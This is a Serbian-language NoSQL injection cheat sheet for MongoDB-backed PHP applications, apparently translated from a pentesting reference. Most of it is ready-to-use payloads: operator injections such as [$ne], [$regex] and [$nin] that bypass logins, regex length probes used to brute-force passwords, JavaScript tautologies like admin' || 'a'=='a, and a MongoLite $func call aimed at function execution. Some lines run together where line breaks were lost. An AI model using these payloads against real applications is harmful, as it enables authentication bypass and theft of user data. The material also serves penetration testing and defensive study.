U PHP-u možete poslati niz menjajući poslati parametar sa parameter=foo na parameter[arrName]=foo.
Eksploati se zasnivaju na dodavanju Operatora:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7#<Matches non of the values of the array> (not test and not admin){ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Napadač može iskoristiti ovo unosom stringova poput admin' || 'a'=='a, čime se upit vraća sve dokumente zadovoljavajući uslov sa tautologijom ('a'=='a'). Ovo je analogno SQL injection napadima gde se unosi poput ' or 1=1-- - koriste za manipulaciju SQL upitima. U MongoDB-u, slične injekcije se mogu izvršiti koristeći unose poput ' || 1==1//, ' || 1==1%00, ili admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Ekstraktuj dužinu informacija
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Korišćenjem $func operatora iz MongoLite biblioteke (koja se koristi po defaultu) može biti moguće izvršiti proizvoljnu funkciju kao u ovom izveštaju.
"user":{"$func":"var_dump"}
Dobijanje informacija iz različite kolekcije
Moguće je koristiti $lookup da se dobiju informacije iz različite kolekcije. U sledećem primeru, čitamo iz različite kolekcije pod nazivom users i dobijamo rezultate svih unosa sa lozinkom koja odgovara wildcard-u.
NAPOMENA:$lookup i druge funkcije agregacije su dostupne samo ako je korišćena aggregate() funkcija za pretragu umesto češće korišćenih find() ili findOne() funkcija.